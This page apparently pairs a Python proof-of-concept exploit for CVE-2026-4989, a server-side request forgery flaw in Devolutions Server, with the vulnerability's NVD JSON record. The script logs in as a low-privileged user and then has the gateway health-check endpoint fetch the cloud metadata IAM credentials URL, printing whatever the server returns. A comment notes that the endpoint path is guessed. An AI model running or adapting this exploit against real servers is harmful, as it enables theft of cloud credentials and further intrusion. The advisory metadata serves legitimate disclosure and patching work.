CVE-2026-4989

import requests # Configuration target_host = "https://example-devolutions-server.com" username = "low_priv_user" password = "user_password" def exploit_ssrf(): session = requests.Session() # Step 1: Authenticate as a low-privileged user print("[*] Attempting to login...") login_url = f"{target_host}/api/auth/login" login_data = { "username": username, "password": password } try: resp = session.post(login_url, json=login_data, verify=False) if resp.status_code != 200: print(f"[-] Login failed: {resp.status_code}") return print("[+] Login successful") except Exception as e: print(f"[-] Error during login: {e}") return # Step 2: Send malicious payload to Gateway Health Check # Targeting internal metadata service (common SSRF target) internal_target = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" # The vulnerable endpoint might vary, assuming a REST API structure based on description health_check_url = f"{target_host}/api/v1/gateway/healthcheck" payload = { "url": internal_target } print(f"[*] Sending SSRF payload to {health_check_url} targeting {internal_target}") try: exploit_resp = session.post(health_check_url, json=payload, verify=False) print(f"[+] Server responded with status: {exploit_resp.status_code}") print("[+] Response content:") print(exploit_resp.text) except Exception as e: print(f"[-] Error sending exploit payload: {e}") if __name__ == "__main__": exploit_ssrf()

{"cve": {"id": "CVE-2026-4989", "sourceIdentifier": "[email protected]", "published": "2026-04-01T16:23:51.973", "lastModified": "2026-04-03T19:13:27.277", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper input validation in the gateway health check feature in Devolutions Server allows a low-privileged authenticated user to perform server-side request forgery (SSRF), potentially leading to information disclosure, via a crafted API request.\nThis issue affects Server: from 2026.1.1 through 2026.1.11, from 2025.3.1 through 2025.3.17."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:devolutions:devolutions_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "2025.3.1.0", "versionEndExcluding": "2025.3.18.0", "matchCriteriaId": "49328DF9-AC32-4DB7-B5D1-407A280F9F2E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:devolutions:devolutions_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "2026.1.1.0", "versionEndExcluding": "2026.1.12.0", "matchCriteriaId": "710C8535-DE31-447E-A7FD-41DC513106F5"}]}]}], "references": [{"url": "https://devolutions.net/security/advisories/DEVO-2026-0010", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}